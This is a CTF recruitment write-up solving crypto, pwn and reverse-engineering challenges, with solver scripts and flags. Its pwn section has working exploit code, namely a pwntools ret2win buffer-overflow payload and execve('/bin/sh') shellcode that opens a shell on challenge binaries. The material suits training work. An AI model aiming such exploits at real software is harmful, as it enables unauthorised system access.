# KCSC Recruitment 2024
## I. Crypto
### 1. Base64
- Challenge:
```python=
b64 = {
"000000": "/",
"000001": "+",
"000010": "0",
"000011": "1",
"000100": "2",
"000101": "3",
"000110": "4",
"000111": "5",
"001000": "6",
"001001": "7",
"001010": "8",
"001011": "9",
"001100": "a",
"001101": "b",
"001110": "c",
"001111": "d",
"010000": "e",
"010001": "f",
"010010": "g",
"010011": "h",
"010100": "i",
"010101": "j",
"010110": "k",
"010111": "l",
"011000": "m",
"011001": "n",
"011010": "o",
"011011": "p",
"011100": "q",
"011101": "r",
"011110": "s",
"011111": "t",
"100000": "u",
"100001": "v",
"100010": "w",
"100011": "x",
"100100": "y",
"100101": "z",
"100110": "A",
"100111": "B",
"101000": "C",
"101001": "D",
"101010": "E",
"101011": "F",
"101100": "G",
"101101": "H",
"101110": "I",
"101111": "J",
"110000": "K",
"110001": "L",
"110010": "M",
"110011": "N",
"110100": "O",
"110101": "P",
"110110": "Q",
"110111": "R",
"111000": "S",
"111001": "T",
"111010": "U",
"111011": "V",
"111100": "W",
"111101": "X",
"111110": "Y",
"111111": "Z",
}
def encode(string):
s = ""
for i in string:
s += bin(ord(i))[2:].zfill(8)
pad = ""
if len(s) % 6 == 4:
pad = "="
s += "11"
elif len(s) % 6 == 2:
pad = "=="
s += "1111"
ret = ""
for i in range(0,len(s),6):
ret += b64[s[i:i+6]]
return ret+pad
from secret import FLAG
print(encode(FLAG))
# gObheRHIpN+wlQ7vqQiQb3XzpAbJn4iv6lR=
```
We got a script that use to encrypt flag depends on its length and table ```b64``` . For details:
- First, it converts each char of the flag into 8-bit binary (string ```s```)
- It checks the remainder of ```len(s)``` and 6. Depends on the remainder, the padding ```pad``` and string that added more in the end can change.
- Finally, for each 6-bit block, it uses table ```b64``` to convert those blocks into characters then add the ```pad``` in the end
This is an easy challenge. I just need to reverse the process to get the flag. My solution:
```python=
b64 = {
"000000": "/",
"000001": "+",
"000010": "0",
"000011": "1",
"000100": "2",
"000101": "3",
"000110": "4",
"000111": "5",
"001000": "6",
"001001": "7",
"001010": "8",
"001011": "9",
"001100": "a",
"001101": "b",
"001110": "c",
"001111": "d",
"010000": "e",
"010001": "f",
"010010": "g",
"010011": "h",
"010100": "i",
"010101": "j",
"010110": "k",
"010111": "l",
"011000": "m",
"011001": "n",
"011010": "o",
"011011": "p",
"011100": "q",
"011101": "r",
"011110": "s",
"011111": "t",
"100000": "u",
"100001": "v",
"100010": "w",
"100011": "x",
"100100": "y",
"100101": "z",
"100110": "A",
"100111": "B",
"101000": "C",
"101001": "D",
"101010": "E",
"101011": "F",
"101100": "G",
"101101": "H",
"101110": "I",
"101111": "J",
"110000": "K",
"110001": "L",
"110010": "M",
"110011": "N",
"110100": "O",
"110101": "P",
"110110": "Q",
"110111": "R",
"111000": "S",
"111001": "T",
"111010": "U",
"111011": "V",
"111100": "W",
"111101": "X",
"111110": "Y",
"111111": "Z",
}
def decode(str):
pass
s = 'gObheRHIpN+wlQ7vqQiQb3XzpAbJn4iv6lR='
ret = ''
for i in range(0, len(s) - 1):
for k in b64:
if b64[k] == s[i]:
ret += k
c = '010010110100001101010011010000110111101101101110011011110011000001100010010111110110001001100001011100110110010100110110001101000101111101100101011011100110001101101111011001000110010100100001001000010111110111'
ret = c[:len(c) - 2]
flag = ''
for i in range(0, len(ret), 8):
flag += chr(int(ret[i:i+8], 2))
print(flag)
```
Explain:
- Convert the given string ```s``` into binary string by using ```b64``` table (not include the last character ```pad = '='```)
- We know tht ```pad = '='``` so the last string that added more is ```11```. I removed it and saved in ```ret```
- Now I just need to convert each 8-bit block into character so I can get the flag.
**Flag: ```KCSC{no0b_base64_encode!!}```**
### 2. BabyRSA
Challenge:
```python=
from Crypto.Util.number import *
from secret import flag
# Params
m = bytes_to_long(flag)
p = getPrime(512)
q = getPrime(512)
n = p*q
e1 , e2 = getPrime(15) , getPrime(15)
# Encrypt
c1 , c2 = pow(m,e1,n) , pow(m,e2,n)
#Print
print(f'{c1 = }')
print(f'{c2 = }')
print(f'{n = }')
"""
c1 = 43946260278933165267431660993044179256450733940962448204621518943475853900082006280519072025814200897790997592340463936456190958275666594052429995580298318496180813719454334563715414909165832843522756119935976461092478885641955852178168496150011655624379719912171071289603245412892961948366155515278642890726
c2 = 128310176397306858891446325231403610621098642187330349239489878341148171560057825931212023839177308332325958639449594866005405570172437515529356365161126570201717589561767400076906280689289461272183010707070634476880143832792975654032711035308135704921921241852756875248875673992949337763386726353743428471285
n = 136973822933716552336015210410086061910624054358619578509115117334628335462050100007125608207863413129800784125730025310219736602623178611290649570777043217574184550605465181131198300470624226421519634791007102521649222963071618444042047066059200007171516431004284842846905028782392942642458999153116596453733
"""
```
This is RSA encryption that one message sent to 2 people. For details:
- The message ```m``` is sents to A and B, which keeps the public key ```(e1, n)``` and ```(e2, n)```
- They encrypt message and receive ```c1 ≡ m^e1 mod n``` and ```c2 ≡ m^e2 mod n```
To solve this problem, I found [this](https://crypto.stackexchange.com/questions/1614/rsa-cracking-the-same-message-is-sent-to-two-different-people-problem)
First, we **must** know ```e1``` and ```e2```. Then by using extended Euclide Algorithm, we have
```a*e1 + b*e2 = gcd(e1, e2) = 1```
for some ```a, b```. After calculate ```a, b```, we can easily find ```m``` because:
```(c1)^a * (c2)^b ≡ (m^e1)^a * (m^e2)^b ≡ m^(e1*a + e2*b) ≡ m (mod n)```
But they only give us ```c1, c2, n```. I brute-force to find ```e1``` and ```e2``` because they are only 15-bit primes so I think it won't take long.
My solution:
```python=
from Crypto.Util.number import *
from egcd import egcd
def decode_safe(bytes_input):
try:
return bytes_input.decode('utf-8')
except UnicodeDecodeError:
return None
c1 = 43946260278933165267431660993044179256450733940962448204621518943475853900082006280519072025814200897790997592340463936456190958275666594052429995580298318496180813719454334563715414909165832843522756119935976461092478885641955852178168496150011655624379719912171071289603245412892961948366155515278642890726
c2 = 128310176397306858891446325231403610621098642187330349239489878341148171560057825931212023839177308332325958639449594866005405570172437515529356365161126570201717589561767400076906280689289461272183010707070634476880143832792975654032711035308135704921921241852756875248875673992949337763386726353743428471285
n = 136973822933716552336015210410086061910624054358619578509115117334628335462050100007125608207863413129800784125730025310219736602623178611290649570777043217574184550605465181131198300470624226421519634791007102521649222963071618444042047066059200007171516431004284842846905028782392942642458999153116596453733
while(1):
e1, e2 = getPrime(15) , getPrime(15)
gcd , a, b = egcd(e1, e2)
if a < 0:
i = pow(c1, -1, n)
m = (pow(i, -a, n)*pow(c2, b, n))%n
elif b < 0:
i = pow(c2, -1, n)
m = (pow(i, -b, n)*pow(c1, a, n))%n
flag_str = decode_safe(long_to_bytes(m))
if flag_str is None:
continue
else:
print(flag_str)
break
```
Because I used ```egcd``` library so it is possible that I will get ```a``` or ```b``` that was negative. When that happend, I need to calculate inverse of ```c1``` or ```c2``` mod n then use it instead of ```c1``` and ```c2```
**Flag: ```KCSC{3x73rn4l_4774ck_1n_r54}```**
### 3. Equation
Challenge:
```python=
from Crypto.Util.number import *
from secret import flag
def encrypt(key,m,p) :
x = pow(key[0],key[1]*key[3])*m[0] + pow(key[1],key[0])*m[1] + key[3]*pow(key[0],key[2])
y = pow(key[2],7)*m[0] - key[3]*m[1] - pow(key[1],key[2]) + pow(key[1],key[3])
return x % p , y % p
l = len(flag)
m = [bytes_to_long(flag[:l//2]) , bytes_to_long(flag[l//2:])]
key = [getPrime(512) for _ in range(4)]
p = getPrime(513)
assert m[0] < p and m[1] < p
print(f'{p = }')
print(f'{key = }')
print(f'enc = {encrypt(key,m,p)}')
"""
p = 20750581162356901822371358081190571328015802896649862988773357210365403451164295986427869541008180700500353488943618054413871626104729648400643237412907397
key = [10615429627321757928177738179133185296570017221477669072758978616664228021845901597204223511408890540624134699383980095897619794674624492632667368475358259, 8098501561956901533078786276609230622379951738654895152558539730068867983865132393839072902654774417952229287146962827464998772217889942772581719194190131, 9269375490983296814341239266604470459081391713689916499923163097001047076919399181791596915795736751249702479913935198254324261729115107153324477349756427, 12874926087069061223584117322772472091608363055078190028227481439885266810498837550235424358641464176775190647579561772510312989190222563737455288997494613]
enc = (5309143145537110495610885061155974900644691542339737247048051865028676282189484534760797421532227725431411920294833901798304659011582328440228296618492754, 12319093933825845906195612210823362436789866252839892395323597642449461144960813359448423496536622280247713676669361185330767001694340173433507185981408484)
"""
```
This is 2 variables equation solving problem. We need to calculate ```m[0]``` and ```m[1]``` through 2 equations in the ```enc()``` function.
I just need to simplify the coefficient of equations by using:
```
(a + b) mod n ≡ ((a mod n) + (b mod n)) mod n
(a * b) mod n ≡ ((a mod n) * (b mod n)) mod n
```
For easier calculation, I will use variables ```A, B, C, D, E, F, G ``` instead of complicated coefficients
My solution:
```python=
from Crypto.Util.number import *
p = 20750581162356901822371358081190571328015802896649862988773357210365403451164295986427869541008180700500353488943618054413871626104729648400643237412907397
key = [10615429627321757928177738179133185296570017221477669072758978616664228021845901597204223511408890540624134699383980095897619794674624492632667368475358259, 8098501561956901533078786276609230622379951738654895152558539730068867983865132393839072902654774417952229287146962827464998772217889942772581719194190131, 9269375490983296814341239266604470459081391713689916499923163097001047076919399181791596915795736751249702479913935198254324261729115107153324477349756427, 12874926087069061223584117322772472091608363055078190028227481439885266810498837550235424358641464176775190647579561772510312989190222563737455288997494613]
enc = (5309143145537110495610885061155974900644691542339737247048051865028676282189484534760797421532227725431411920294833901798304659011582328440228296618492754, 12319093933825845906195612210823362436789866252839892395323597642449461144960813359448423496536622280247713676669361185330767001694340173433507185981408484)
x_p, y_p = enc[0], enc[1]
a = pow(key[0],key[1],p)
A = pow(a, key[3], p)
B = pow(key[1], key[0], p)
c = pow(key[0], key[2], p)
C = (key[3]*c)% p
D = pow(key[2], 7, p)
E = -key[3]
F = -pow(key[1], key[2], p)
G = pow(key[1], key[3], p)
#print(f"{A} * m0 + {B}*m1 + {C} = {x_p}")
#print(f"{D}*m0 + {E}*m1 - {F} + {G} = {y_p}")
F1 = (F + G) % p
x1 = (x_p - C)%p
y1 = (y_p - F1)%p
s = GCD(A, D)
lcm = (A*D) // s
multi0 = (lcm//A)%p
multi1 = (lcm//D)%p
B1 = (B*multi0)%p
E1 = (E*multi1)%p
heSo_m1 = (B1 - E1)%p
heso_m1_inv = pow(heSo_m1, -1, p)
r1 = ((x1*multi0)%p - (y1*multi1)%p)%p
m1 = (r1 * heso_m1_inv)% p
m0 = (((x1 - (B*m1)%p)%p) * pow(A, -1, p))%p
print(long_to_bytes(m0).decode('utf-8') + long_to_bytes(m1).decode('utf-8'))
```
This challenge is not hard. Just remember to modulo ```p``` before each calculation
**Flag: ```KCSC{b4by_3qu4710n_l34rn1n6}```**
## II. Pwn
### 1. basic_bof
Challenge:
```c
#include<stdio.h>
#include<stdlib.h>
void init(){
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
}
void win(){
system("/bin/sh");
}
int main()
{
init();
char a[0x100];
gets(a);
}
```
We have been given the source code and file binary. There is a buffer overflow vuln here, in ```gets(a)```, because a limited with ```0x100``` bytes. Our target is executing```win()``` function
Now I debug it and try to input to see how it overflows. I set a breakpoint before return function:


The address ```0x00007fffffffe128``` is our return address. So this is a ```ret2win``` vuln.
Instead of pointing to return address, we make the ```rsp``` points to our ```win()``` address then it will give us the shell.
Let's see how far from ```$rsp``` to our input:

It's 264 bytes. The next bytes of the payload will be our ```win()``` address. Let's find where it is.

The address is ```0x4011db```. Now we have everything we need. I wrote a simple script to exploit:
```python=
from pwn import *
#p = remote('157.15.86.73', 8005)
p = process('./chal1')
payload = b'A'*264
payload += p64(0x4011db + 5)
p.sendline(payload)
p.interactive()
```
Why I need to plus 5 t the address ```win()```? Because if we only use the ```0x4011db```, an error will occur:

So this occur because the address ```rsp``` points to must be divisible to 16, but ```0x4011db``` is not

Plus 5 and run again, now we finally get the shell. Just cat the file ```flag.txt``` to get the flag

**Flag: ```KCSC{FIRST_GAME_WAS EASY_HUH?}```**
### 2. pwn2
Challenge let us to execute shellcode:
```c!
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <unistd.h>
void init(){
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
}
int main()
{
init();
void (*code)(void) = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
if (code == MAP_FAILED) {
perror("mmap");
exit(1);
}
fgets((char*)code, 0x1000, stdin);
size_t len = strlen((char*)code);
for(int i = 0 ; i < len; i++)
{
if(((uint16_t*)code)[i] == 0x0f05)
{
exit(0);
}
}
code();
}
```
Script:
```python!
#!/usr/bin/env python3
from pwn import *
exe = ELF("./shellcode")
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("addr", 13775)
return r
context.binary = exe
def main():
r = conn()
shellcode = asm(
'''
mov rax, 0x3b
mov rdi, 29400045130965551
push rdi
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
syscall
''', arch='amd64'
)
r.sendline(shellcode)
pause()
r.interactive()
if __name__ == "__main__":
main()
```
Result:

Flag: `KCSC{easy_shellcode......}`
## III. Reverse Engineering
### 1. Elif
Challenge:
```python=
flag = input('Enter your flag: ')
if len(flag) != 49:
print('Wrong Length!!!')
exit()
inp = [ord(c) for c in flag]
if inp[30] + inp[44] + inp[16] + inp[38] + inp[47] + inp[7] != 398:
print('Wrong Flag!!!')
exit()
elif inp[41] + inp[22] + inp[38] + inp[33] + inp[28] + inp[20] != 451:
print('Wrong Flag!!!')
exit()
elif inp[10] + inp[3] + inp[39] + inp[14] + inp[4] + inp[47] != 440:
print('Wrong Flag!!!')
exit()
elif inp[2] + inp[12] + inp[45] + inp[4] + inp[42] + inp[30] != 581:
print('Wrong Flag!!!')
exit()
elif inp[36] + inp[36] + inp[26] + inp[43] + inp[21] + inp[1] != 587:
print('Wrong Flag!!!')
exit()
elif inp[16] + inp[3] + inp[16] + inp[20] + inp[38] + inp[39] != 274:
print('Wrong Flag!!!')
exit()
elif inp[28] + inp[39] + inp[18] + inp[38] + inp[47] + inp[8] != 372:
print('Wrong Flag!!!')
exit()
elif inp[25] + inp[19] + inp[36] + inp[19] + inp[20] + inp[31] != 470:
print('Wrong Flag!!!')
exit()
elif inp[44] + inp[27] + inp[5] + inp[41] + inp[16] + inp[42] != 565:
print('Wrong Flag!!!')
exit()
elif inp[46] + inp[35] + inp[8] + inp[1] + inp[4] + inp[47] != 447:
print('Wrong Flag!!!')
exit()
elif inp[41] + inp[20] + inp[42] + inp[40] + inp[3] + inp[43] != 503:
print('Wrong Flag!!!')
exit()
elif inp[36] + inp[4] + inp[21] + inp[46] + inp[34] + inp[38] != 532:
print('Wrong Flag!!!')
exit()
elif inp[43] + inp[45] + inp[3] + inp[45] + inp[3] + inp[17] != 382:
print('Wrong Flag!!!')
exit()
elif inp[24] + inp[2] + inp[6] + inp[2] + inp[25] + inp[1] != 490:
print('Wrong Flag!!!')
exit()
elif inp[38] + inp[41] + inp[33] + inp[34] + inp[21] + inp[42] != 569:
print('Wrong Flag!!!')
exit()
elif inp[17] + inp[38] + inp[1] + inp[15] + inp[46] + inp[35] != 364:
print('Wrong Flag!!!')
exit()
elif inp[40] + inp[17] + inp[34] + inp[33] + inp[39] + inp[19] != 398:
print('Wrong Flag!!!')
exit()
elif inp[18] + inp[21] + inp[4] + inp[27] + inp[19] + inp[29] != 541:
print('Wrong Flag!!!')
exit()
elif inp[30] + inp[34] + inp[42] + inp[26] + inp[18] + inp[47] != 588:
print('Wrong Flag!!!')
exit()
elif inp[23] + inp[24] + inp[30] + inp[1] + inp[13] + inp[7] != 471:
print('Wrong Flag!!!')
exit()
elif inp[17] + inp[16] + inp[32] + inp[16] + inp[15] + inp[14] != 343:
print('Wrong Flag!!!')
exit()
elif inp[30] + inp[10] + inp[24] + inp[3] + inp[40] + inp[3] != 519:
print('Wrong Flag!!!')
exit()
elif inp[10] + inp[34] + inp[27] + inp[38] + inp[46] + inp[40] != 480:
print('Wrong Flag!!!')
exit()
elif inp[6] + inp[6] + inp[46] + inp[35] + inp[5] + inp[13] != 357:
print('Wrong Flag!!!')
exit()
elif inp[18] + inp[16] + inp[5] + inp[6] + inp[12] + inp[32] != 411:
print('Wrong Flag!!!')
exit()
elif inp[1] + inp[3] + inp[37] + inp[4] + inp[22] + inp[44] != 514:
print('Wrong Flag!!!')
exit()
elif inp[26] + inp[11] + inp[12] + inp[47] + inp[22] + inp[2] != 541:
print('Wrong Flag!!!')
exit()
elif inp[32] + inp[32] + inp[18] + inp[34] + inp[31] + inp[37] != 454:
print('Wrong Flag!!!')
exit()
elif inp[38] + inp[25] + inp[1] + inp[23] + inp[28] + inp[27] != 403:
print('Wrong Flag!!!')
exit()
elif inp[37] + inp[11] + inp[2] + inp[24] + inp[39] + inp[21] != 457:
print('Wrong Flag!!!')
exit()
elif inp[21] + inp[4] + inp[3] + inp[11] + inp[42] + inp[2] != 588:
print('Wrong Flag!!!')
exit()
elif inp[11] + inp[36] + inp[27] + inp[1] + inp[18] + inp[19] != 549:
print('Wrong Flag!!!')
exit()
elif inp[16] + inp[18] + inp[37] + inp[41] + inp[25] + inp[45] != 446:
print('Wrong Flag!!!')
exit()
elif inp[19] + inp[19] + inp[18] + inp[8] + inp[25] + inp[14] != 453:
print('Wrong Flag!!!')
exit()
elif inp[19] + inp[2] + inp[40] + inp[34] + inp[27] + inp[5] != 461:
print('Wrong Flag!!!')
exit()
elif inp[48] + inp[41] + inp[33] + inp[41] + inp[23] + inp[37] != 533:
print('Wrong Flag!!!')
exit()
elif inp[45] + inp[9] + inp[8] + inp[32] + inp[4] + inp[26] != 531:
print('Wrong Flag!!!')
exit()
elif inp[47] + inp[27] + inp[2] + inp[32] + inp[3] + inp[38] != 393:
print('Wrong Flag!!!')
exit()
elif inp[32] + inp[27] + inp[2] + inp[34] + inp[27] + inp[14] != 506:
print('Wrong Flag!!!')
exit()
elif inp[24] + inp[14] + inp[39] + inp[20] + inp[3] + inp[17] != 365:
print('Wrong Flag!!!')
exit()
elif inp[10] + inp[17] + inp[43] + inp[28] + inp[48] + inp[48] != 565:
print('Wrong Flag!!!')
exit()
elif inp[35] + inp[47] + inp[27] + inp[42] + inp[35] + inp[37] != 415:
print('Wrong Flag!!!')
exit()
elif inp[10] + inp[37] + inp[37] + inp[44] + inp[21] + inp[15] != 502:
print('Wrong Flag!!!')
exit()
elif inp[9] + inp[44] + inp[9] + inp[48] + inp[38] + inp[15] != 600:
print('Wrong Flag!!!')
exit()
elif inp[16] + inp[47] + inp[12] + inp[27] + inp[39] + inp[16] != 386:
print('Wrong Flag!!!')
exit()
elif inp[2] + inp[37] + inp[32] + inp[41] + inp[9] + inp[13] != 485:
print('Wrong Flag!!!')
exit()
elif inp[25] + inp[18] + inp[25] + inp[41] + inp[40] + inp[11] != 566:
print('Wrong Flag!!!')
exit()
elif inp[36] + inp[37] + inp[4] + inp[12] + inp[35] + inp[42] != 546:
print('Wrong Flag!!!')
exit()
elif inp[45] + inp[32] + inp[12] + inp[19] + inp[16] + inp[3] != 371:
print('Wrong Flag!!!')
exit()
print('Correct!!! Here is your flag: ' + flag)
```
The challenge will be solve if we can create a flag that pass all the checkers. After researching, I found a [writeup](https://ctftime.org/writeup/32366) that seems similar to our challenge using ```z3-solver``` library. Modify it and run then I got the flag. Remember, our flag start with ```picoCTF{``` and ends with ```}``` so we know the value of ```inp``` in some first indexes. Script:
```python=
from z3 import *
inp = []
for i in range(49):
byte = BitVec(f"{i}", 8)
inp.append(byte)
solver = Solver()
solver.add( inp[30] + inp[44] + inp[16] + inp[38] + inp[47] + inp[7] == 398)
solver.add(inp[41] + inp[22] + inp[38] + inp[33] + inp[28] + inp[20] == 451)
solver.add(inp[10] + inp[3] + inp[39] + inp[14] + inp[4] + inp[47] == 440)
solver.add(inp[2] + inp[12] + inp[45] + inp[4] + inp[42] + inp[30] == 581)
solver.add(inp[36] + inp[36] + inp[26] + inp[43] + inp[21] + inp[1] == 587)
solver.add(inp[16] + inp[3] + inp[16] + inp[20] + inp[38] + inp[39] == 274)
solver.add(inp[28] + inp[39] + inp[18] + inp[38] + inp[47] + inp[8] == 372)
solver.add(inp[25] + inp[19] + inp[36] + inp[19] + inp[20] + inp[31] == 470)
solver.add(inp[44] + inp[27] + inp[5] + inp[41] + inp[16] + inp[42] == 565)
solver.add(inp[46] + inp[35] + inp[8] + inp[1] + inp[4] + inp[47] == 447)
solver.add(inp[41] + inp[20] + inp[42] + inp[40] + inp[3] + inp[43] == 503)
solver.add(inp[36] + inp[4] + inp[21] + inp[46] + inp[34] + inp[38] == 532)
solver.add(inp[43] + inp[45] + inp[3] + inp[45] + inp[3] + inp[17] == 382)
solver.add(inp[24] + inp[2] + inp[6] + inp[2] + inp[25] + inp[1] == 490)
solver.add(inp[38] + inp[41] + inp[33] + inp[34] + inp[21] + inp[42] == 569)
solver.add(inp[17] + inp[38] + inp[1] + inp[15] + inp[46] + inp[35] == 364)
solver.add(inp[40] + inp[17] + inp[34] + inp[33] + inp[39] + inp[19] == 398)
solver.add(inp[18] + inp[21] + inp[4] + inp[27] + inp[19] + inp[29] == 541)
solver.add(inp[30] + inp[34] + inp[42] + inp[26] + inp[18] + inp[47] == 588)
solver.add(inp[23] + inp[24] + inp[30] + inp[1] + inp[13] + inp[7] == 471)
solver.add(inp[17] + inp[16] + inp[32] + inp[16] + inp[15] + inp[14] == 343)
solver.add(inp[30] + inp[10] + inp[24] + inp[3] + inp[40] + inp[3] == 519)
solver.add(inp[10] + inp[34] + inp[27] + inp[38] + inp[46] + inp[40] == 480)
solver.add(inp[6] + inp[6] + inp[46] + inp[35] + inp[5] + inp[13] == 357)
solver.add(inp[18] + inp[16] + inp[5] + inp[6] + inp[12] + inp[32] == 411)
solver.add( inp[1] + inp[3] + inp[37] + inp[4] + inp[22] + inp[44] == 514)
solver.add( inp[26] + inp[11] + inp[12] + inp[47] + inp[22] + inp[2] == 541)
solver.add(inp[32] + inp[32] + inp[18] + inp[34] + inp[31] + inp[37] == 454)
solver.add( inp[38] + inp[25] + inp[1] + inp[23] + inp[28] + inp[27] == 403)
solver.add(inp[37] + inp[11] + inp[2] + inp[24] + inp[39] + inp[21] == 457)
solver.add(inp[21] + inp[4] + inp[3] + inp[11] + inp[42] + inp[2] == 588)
solver.add(inp[11] + inp[36] + inp[27] + inp[1] + inp[18] + inp[19] == 549)
solver.add( inp[16] + inp[18] + inp[37] + inp[41] + inp[25] + inp[45] == 446)
solver.add( inp[19] + inp[19] + inp[18] + inp[8] + inp[25] + inp[14] == 453)
solver.add( inp[19] + inp[2] + inp[40] + inp[34] + inp[27] + inp[5] == 461)
solver.add( inp[48] + inp[41] + inp[33] + inp[41] + inp[23] + inp[37] == 533)
solver.add( inp[45] + inp[9] + inp[8] + inp[32] + inp[4] + inp[26] == 531)
solver.add( inp[47] + inp[27] + inp[2] + inp[32] + inp[3] + inp[38] == 393)
solver.add( inp[32] + inp[27] + inp[2] + inp[34] + inp[27] + inp[14] == 506)
solver.add(inp[24] + inp[14] + inp[39] + inp[20] + inp[3] + inp[17] == 365)
solver.add( inp[10] + inp[17] + inp[43] + inp[28] + inp[48] + inp[48] == 565)
solver.add( inp[35] + inp[47] + inp[27] + inp[42] + inp[35] + inp[37] == 415)
solver.add( inp[10] + inp[37] + inp[37] + inp[44] + inp[21] + inp[15] == 502)
solver.add( inp[9] + inp[44] + inp[9] + inp[48] + inp[38] + inp[15] == 600)
solver.add( inp[16] + inp[47] + inp[12] + inp[27] + inp[39] + inp[16] == 386)
solver.add(inp[2] + inp[37] + inp[32] + inp[41] + inp[9] + inp[13] == 485)
solver.add( inp[25] + inp[18] + inp[25] + inp[41] + inp[40] + inp[11] == 566)
solver.add( inp[36] + inp[37] + inp[4] + inp[12] + inp[35] + inp[42] == 546)
solver.add(inp[45] + inp[32] + inp[12] + inp[19] + inp[16] + inp[3] == 371)
solver.add(inp[0] == ord('K'))
solver.add(inp[1] == ord('C'))
solver.add(inp[2] == ord('S'))
solver.add(inp[3] == ord('C'))
solver.add(inp[4] == ord('{'))
solver.add(inp[48] == ord('}'))
# solver.add( s[16] - s[19] * s[7] == -5295 )
# solver.add( s[33] + s[12] * s[26] + s[22] == 2728 )
# solver.add( s[41] + s[24] + s[32] == 281 )
# solver.add( s[23] * s[31] * s[14] == 790020 )
# solver.add( s[35] - s[35] * s[6] - s[14] == -3342 )
# solver.add( s[31] + s[40] - s[17] * s[25] == -11148 )
# solver.add( s[36] * s[18] + s[13] * s[19] == 16364 )
# solver.add( s[40] - s[5] + s[2] * s[18] == 4407 )
# solver.add( s[21] - s[25] + s[3] == 55 )
# solver.add( s[14] + s[14] + s[13] - s[2] == 223 )
# solver.add( s[36] * s[35] - s[5] * s[29] == -2449 )
# solver.add( s[41] - s[39] + s[1] == 135 )
# solver.add( s[35] - s[0] * s[35] + s[0] == -4759 )
# solver.add( s[8] - s[10] * s[21] - s[31] == -4776 )
# solver.add( s[29] - s[24] + s[28] == 126 )
# solver.add( s[0] * s[10] - s[32] - s[8] == 3315 )
# solver.add( s[28] * s[32] + s[41] == 5903 )
# solver.add( s[37] - s[24] + s[32] == 20 )
# solver.add( s[20] * s[10] - s[15] + s[31] == 4688 )
# solver.add( s[36] - s[9] - s[18] * s[18] == -2721 )
# solver.add( s[9] * s[7] + s[16] * s[30] == 13876 )
# solver.add( s[18] + s[34] + s[24] - s[7] == 188 )
# solver.add( s[16] * s[27] + s[20] == 9310 )
# solver.add( s[22] - s[30] - s[37] - s[9] == -211 )
# solver.add( s[4] * s[41] * s[27] - s[38] == 1491286 )
# solver.add( s[35] - s[29] * s[8] + s[13] == -13131 )
# solver.add( s[23] - s[7] - s[24] - s[22] == -107 )
# solver.add( s[37] * s[4] * s[5] == 560388 )
# solver.add( s[17] * s[32] - s[15] == 5295 )
# solver.add( s[32] + s[23] * s[18] - s[5] == 4927 )
# solver.add( s[3] + s[8] * s[39] + s[39] == 7397 )
# solver.add( s[7] * s[25] - s[3] + s[36] == 5597 )
# solver.add( s[9] - s[24] - s[33] == -79 )
# solver.add( s[30] + s[14] * s[36] == 8213 )
if solver.check() == sat:
solution = solver.model()
flag = []
for i in range(49):
flag.append(chr(int(str(solution[inp[i]]))))
print("".join(flag))
else:
print("not found")
```
**Flag: ```KCSC{700_much_1f-3l53_f0r_fl46ch3ck3r!!!7ry_z3<3}```**
### 2. Go
Challenge: We got a ```.exe``` file. So first let's assemble it with IDA
```c=
v17 = p_string;
if ( p_string->len != 51 )
{
v73[0] = &RTYPE_string;
v73[1] = &off_4DBC00;
v8 = os_Stdout;
fmt_Fprintln(
(unsigned int)go_itab__os_File_io_Writer,
os_Stdout,
(unsigned int)v73,
1,
1,
(unsigned int)&off_4DBC00,
v14,
(_DWORD)v15,
v16,
v52,
v58,
v61,
v63,
v65);
os_Exit(1, v8, v18, 1, 1, v19, v20, v21, v22, v53);
v17 = p_string;
}
for ( i = 0LL; i < 51; i = v14 + 1 )
{
ptr = v17->ptr;
if ( i >= v17->len )
runtime_panicIndex(i, v8, v17->len, 1LL, 1LL, ptr);
v25 = (unsigned __int8)ptr[i];
v14 = i;
v26 = i - (i & 0xFFFFFFFFFFFFFFE0LL);
if ( v26 >= 0x20 )
runtime_panicIndex(v26, v8, 32LL, 1LL, 1LL, v26);
v15 = "YXV0aG9ybm9vYm1hbm5uZnJvbWtjc2M=";
v27 = (unsigned __int8)aYxv0ag9ybm9vym[v26] ^ v25;
v13 = *(_QWORD *)&v69[8 * i - 8];
if ( v13 != v27 )
{
v67 = i;
v72[0] = &RTYPE_string;
v72[1] = &off_4DBC10;
v8 = os_Stdout;
fmt_Fprintln(
(unsigned int)go_itab__os_File_io_Writer,
os_Stdout,
(unsigned int)v72,
1,
1,
(unsigned int)&off_4DBC10,
i,
(unsigned int)"YXV0aG9ybm9vYm1hbm5uZnJvbWtjc2M=",
v16,
v52,
v58,
v61,
v63,
v65);
os_Exit(1, v8, v28, 1, 1, v29, v30, v31, v32, v54);
v17 = p_string;
v14 = v67;
}
}
v71 = v3;
v33 = v17->ptr;
len = v17->len;
v35 = runtime_concatstring2(
0,
(unsigned int)"Correct!! Here is your flag: ",
29,
v17->ptr,
len,
v13,
v14,
(_DWORD)v15,
v16,
v52,
v58,
v61,
v63,
v65);
```
Analyzing: First it checks the length of our flag
```c=
if ( p_string->len != 51 )
{
v73[0] = &RTYPE_string;
v73[1] = &off_4DBC00;
v8 = os_Stdout;
```
And a loop to check our flag. If it's pass, we can get the flag. I will step by step into the for loop:
1. ```v25``` stores the value in index ```i``` of our input (I called it p_string)
2. ```v26``` can be considered as a list with integer in range (0,32). The ```if``` after just check if ```v26``` exceeded the range limit.
3. ```v15``` seems like challenge author if you decode it. This will be a key for the next stages.
4. ```v27``` stores the result of XOR between ```aYxv0ag9ybm9vym[i]``` and ```p_string[i]```. But what is ```aYxv0ag9ybm9vym```? It's has the same value with ```v15``` I talked before
5. ```v13``` equals to some ```v69[8 * i - 8]```. We didn't know what it is
6. Checks the condition if ```v13``` is equal to ```v27```. If all character (there are 51) of our input passed, we can get our flag.
So the problem is, where is ```v69```? First, let's see how it was initialized:
```c
char v69[72]; // [rsp+48h] [rbp-1F0h] BYREF
```
our ```v69``` will be some result of some function, which is only return value when the program is running. So let's run and see:


So after each 8 bytes, like ```8 * i - 8``` index of ```v69``` before, we can now know how ```v69``` is. Now just need to write down, xor back with ```v15``` then we can get the flag
Script:
```python=
